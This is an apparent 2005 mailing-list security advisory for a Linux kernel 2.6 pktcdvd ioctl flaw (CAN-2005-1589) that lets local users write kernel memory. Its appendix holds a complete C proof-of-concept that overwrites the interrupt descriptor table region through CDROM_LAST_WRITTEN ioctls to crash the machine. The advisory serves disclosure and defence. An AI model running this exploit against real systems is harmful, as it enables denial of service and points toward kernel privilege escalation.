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Linux kernel pktcdvd ioctl break user space limit vulnerability [corrected]
From: "bugs" <bugs () whitecell org>
Date: Wed, 18 May 2005 10:7:40 +0800

hi,all:
          sorry for insufficient coordination with vendor. :(

          I had corrected it  and deleted rawdevice issue

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Synopsis:  Linux kernel pktcdvd ioctl break user space limit vulnerability
Product:   Linux kernel
Version:   2.6 up to and including 2.6.12-rc4
Vendor:    http://www.kernel.org/
URL:       
CVE:       CAN-2005-1589
Severity:  local(7)
Date:      May 16, 2005


Issue:
======

One locally exploitable flaw have been found in the Linux pktcdvd block 
device ioctl handler that allows local users to gain root privileges and 
also execute arbitrary code at kernel privilege level.


Details:
========

The Linux kernel contains pktcdvd block device components. 
Due to the missing check Pktcdvd  ioctl handler parameter,
the process can break user space limit and  execute arbitrary code at 
kernel privilege level.


Discussion:
=============

The vulnerable  code  resides  in  drivers/block/pktcdvd.c  in  your  
preferable version of the Linux kernel source code tree:

static int pkt_ioctl(struct inode *inode, struct file *file, unsigned 
                                        int cmd, unsigned long arg)
{
        struct pktcdvd_device *pd = inode->i_bdev->bd_disk->private_data;

        VPRINTK("pkt_ioctl: cmd %x, dev %d:%d\n", cmd, imajor(inode), 
                                                        iminor(inode));
        BUG_ON(!pd);

        switch (cmd) {
        /*
         * forward selected CDROM ioctls to CD-ROM, for UDF
         */
        case CDROMMULTISESSION:
        case CDROMREADTOCENTRY:
        case CDROM_LAST_WRITTEN:
        case CDROM_SEND_PACKET:
        case SCSI_IOCTL_SEND_COMMAND:
[*]             return ioctl_by_bdev(pd->bdev, cmd, arg);

        case CDROMEJECT:
                /*
                 * The door gets locked when the device is opened, so we
                 * have to unlock it or else the eject command fails.
                 */
                pkt_lock_door(pd, 0);
[*]             return ioctl_by_bdev(pd->bdev, cmd, arg);

        default:

As can be seen from [*] the arg variable supplied to  the  ioctl_by_bdev()
function  is not checked and user can input arg > TASK_SIZE value.


fs/block_dev.c
int ioctl_by_bdev(struct block_device *bdev, unsigned cmd, unsigned long arg)
{
        int res;
        mm_segment_t old_fs = get_fs();
[**]    set_fs(KERNEL_DS);
        res = blkdev_ioctl(bdev->bd_inode, NULL, cmd, arg);
        set_fs(old_fs);
        return res;
}

However, for also support kernel space parameters ,ioctl_by_bdev() call [**] 
set_fs(KERNEL_DS) to access parameters in kernel space . So if 
ioctl_by_bdev() parameter arg > TASK_SIZE,the process can break user space 
limit and rewrite kernel space data. Local user can execute arbitrary code 
at kernel privilege level.

This exploit require user can read the block device.


CREDIT:
========

alert7 ( wangwei () ssr cn , alert7 () xfocus org )  discovery this vulnerability
Special thanks to ssr and xfocus guys:P



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Appendix:
=========

/*  pktcdvd_dos.c proof-of-concept 
 *  This is only a lame POC which will crash the machine, no root shell here.
 *                      --- alert7
 *                              2005-5-15
 *  the vulnerability in 2.6 up to and including 2.6.12-rc4
 *
 *  gcc -o pktcdvd_dos pktcdvd_dos.c
 *
 *  NOTE: require user can read pktcdvd block device 

 *      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/sysctl.h>
#include <linux/cdrom.h>

#define __NR_sys_ioctl          __NR_ioctl


#define PKTCDVDDEVICE "/dev/hdc"

static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg);

struct idtr {
        unsigned short  limit;
        unsigned int    base;
} __attribute__ ((packed));

unsigned int get_addr_idt() {
        struct idtr idtr;
        asm("sidt %0" : "=m" (idtr));
        return idtr.base;
}
struct desc_struct {
        unsigned long a,b;
};
int main(int argc,char **argv)
{
        unsigned int ptr_idt;
        int iret ;
        int fd;

        printf("[++]user stack addr  %p \n",&ptr_idt);
        if ( ( (unsigned long )&ptr_idt >>24)==0xfe){
                 printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n");
                 return -1;
        }

        ptr_idt=get_addr_idt();
        printf("[++]IDT Addr %p \n",ptr_idt);


        fd = open(PKTCDVDDEVICE,O_RDONLY);
        if (fd ==-1)
        {
                        printf("[--]");
            fflush(stdout);
                        perror("open");
            return -1;
        }
                
        unsigned long WriteTo ;

       if ( (ptr_idt>>24)==0xc0){
            printf("[++]this OS in Real Linux\n");
                        WriteTo= ptr_idt;
           }else{
            printf("[++]this OS maybe in VMWARE\n");
                        WriteTo = 0xc0100000;
        }

        printf("[++]call sys_ioctl will crash machine\n");
        fflush(stdout);
                
        int loopi;
        for (loopi=0;loopi<0x100000 ;loopi++ )
        {
                printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
                fflush(stdout);         
                iret = sys_ioctl(fd,
                                 CDROM_LAST_WRITTEN,
                                 WriteTo+loopi*4);
                if (iret ==-1)
                {
                        printf("[--]");
                        fflush(stdout);
                        perror("ioctl");
                        //if in VMWARE ,rewrite ptr_idt adress will failed
                        printf("[--]still aliving\n");
                        close(fd);
                        return -1;
                }
        }
        close(fd);

        return 0;
}


---------------THE END---------------

Thanks,
alert7



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